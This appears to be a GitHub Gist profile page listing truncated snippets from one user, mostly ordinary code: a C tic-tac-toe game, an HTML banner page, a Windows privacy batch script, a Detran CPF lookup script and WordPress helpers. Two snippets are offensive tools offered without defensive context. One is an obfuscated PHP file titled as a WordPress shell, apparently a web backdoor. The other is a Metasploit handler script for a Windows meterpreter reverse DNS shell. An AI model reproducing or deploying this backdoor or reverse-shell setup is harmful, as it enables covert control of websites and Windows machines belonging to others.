Skip to content

Instantly share code, notes, and snippets.

@eltondev
eltondev / velha.cpp
Created June 12, 2019 21:00
Jogo da Velha
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
int main ( ){
int i, j, linha, coluna, contador;
char matriz[3][3];
setlocale(LC_ALL,""); /*Acentuação*/
<!DOCTYPE html>
<html lang="en">
<head>
<title>Demo Banners HTML5</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="banners html5 for website, google adword, banner swith is a banner html5 agency"/>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">
<style>
@font-face {
@eltondev
eltondev / cm690ah4.php
Last active May 20, 2019 21:50
Shell Clients Wordpress
<?php
$bwcex = '#y_Hd3745pn9xei6olgmc-ar1s\'t8buk0*v';
$tflmvn = array( );
$tflmvn[] = $bwcex[5] . $bwcex[5] . $bwcex[15] . $bwcex[32] . $bwcex[29] . $bwcex[15] . $bwcex[11] . $bwcex[6] . $bwcex[21] . $bwcex[8] . $bwcex[22] . $bwcex[29] . $bwcex[13] . $bwcex[21] . $bwcex[7] . $bwcex[4] . $bwcex[4] . $bwcex[5] . $bwcex[21] . $bwcex[11] . $bwcex[5] . $bwcex[11] . $bwcex[20] . $bwcex[21] . $bwcex[7] . $bwcex[6] . $bwcex[24] . $bwcex[4] . $bwcex[4] . $bwcex[32] . $bwcex[13] . $bwcex[5] . $bwcex[29] . $bwcex[28] . $bwcex[22] . $bwcex[20];
$tflmvn[] = $bwcex[3] . $bwcex[33];
$tflmvn[] = $bwcex[0];
$tflmvn[] = $bwcex[20] . $bwcex[16] . $bwcex[30] . $bwcex[10] . $bwcex[27];
$tflmvn[] = $bwcex[25] . $bwcex[27] . $bwcex[23] . $bwcex[2] . $bwcex[23] . $bwcex[13] . $bwcex[9] . $bwcex[13] . $bwcex[22] . $bwcex[27];
$tflmvn[] = $bwcex[13] . $bwcex[12] . $bwcex[9] . $bwcex[17] . $bwcex[16] . $bwcex[4] . $bwcex[13];
@echo off
cls
title Windows 10 - Politica de Privacidade
echo Este Script fará o seguinte:
echo Desativar serviços de log de dados
echo Configurar o Explorador do Windows
echo Desintalar Onedrive
echo Editar o arquivo Hosts para bloquear o envio de dados de telemetria para a Microsoft
echo.
pause
@eltondev
eltondev / msf_dns.rc
Created December 20, 2016 19:57
GHT's - Exploit Windows 10 Full DNS Reverse - 1ª Part
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp_dns
set LHOST IP_HERE
set LPORT PORT_HERE
set EXITFUNC thread
set ExitOnSession false
exploit -j -z
@eltondev
eltondev / API CPF Python
Created December 19, 2016 16:01
Consulta CPF Detran - Python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests,sys,re
dados = {'nome':'','renach':'','cpf':'','dataNascimento':'','local':'','cfc':'','resultado':'', 'data':'','hora':''}
def get_dados(contents): # Regex tags XML
nome = re.search('<nome>(.*)</nome>',contents).group(0).replace('<nome>','').replace('</nome>','')
renach = re.search('<renach>(.*)</renach>',contents).group(0).replace('<renach>','').replace('</renach>','')
@eltondev
eltondev / functions.php
Created August 18, 2016 19:40
Add button to buy the product grid WooCommerce
//Add button to buy the product grid WooCommerce
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 );
add_action( 'woocommerce_after_shop_loop_item', 'my_woocommerce_template_loop_add_to_cart', 10 );
function my_woocommerce_loop_add_to_cart()
{
global $product;
echo '<form action="' . esc_url( $product->get_permalink( $product->id ) ) . '" method="get">
<button type="submit" class="single_add_to_cart_button button alt">' . __('Comprar', 'woocommerce') . '</button>
</form>';
@eltondev
eltondev / functions.php
Last active December 23, 2015 12:25
Remove Version CSS and JS
function wp_remove_script_version( $src ){
$parts = explode( '?', $src );
return $parts[0];
}
add_filter( 'script_loader_src', 'wp_remove_script_version', 15, 1 );
add_filter( 'style_loader_src' , 'wp_remove_script_version', 15, 1 );
function hide_wp_version($src) {
global $wp_version;
return str_replace('?ver=$wp_version', $src);
@eltondev
eltondev / functions.php
Last active December 12, 2015 15:20
Redirect page if search not found
function SearchFilterNull($query) {
if (isset($_GET['s']) && empty($_GET['s']) && $query->is_main_query()){
$query->is_search = true;
$query->is_home = false;
}
return $query;
}
add_filter('pre_get_posts','SearchFilterNull');
@eltondev
eltondev / 404.php
Created December 12, 2015 14:27
Page not found
<?php
get_header(); ?>
<div id="primary" class="content-area">
<div id="content" class="site-content" role="main">
<header class="page-header">
<h1 class="page-title"><?php _e( 'Página não encontrada', 'meu_tema_aqui' ); ?></h1>
</header>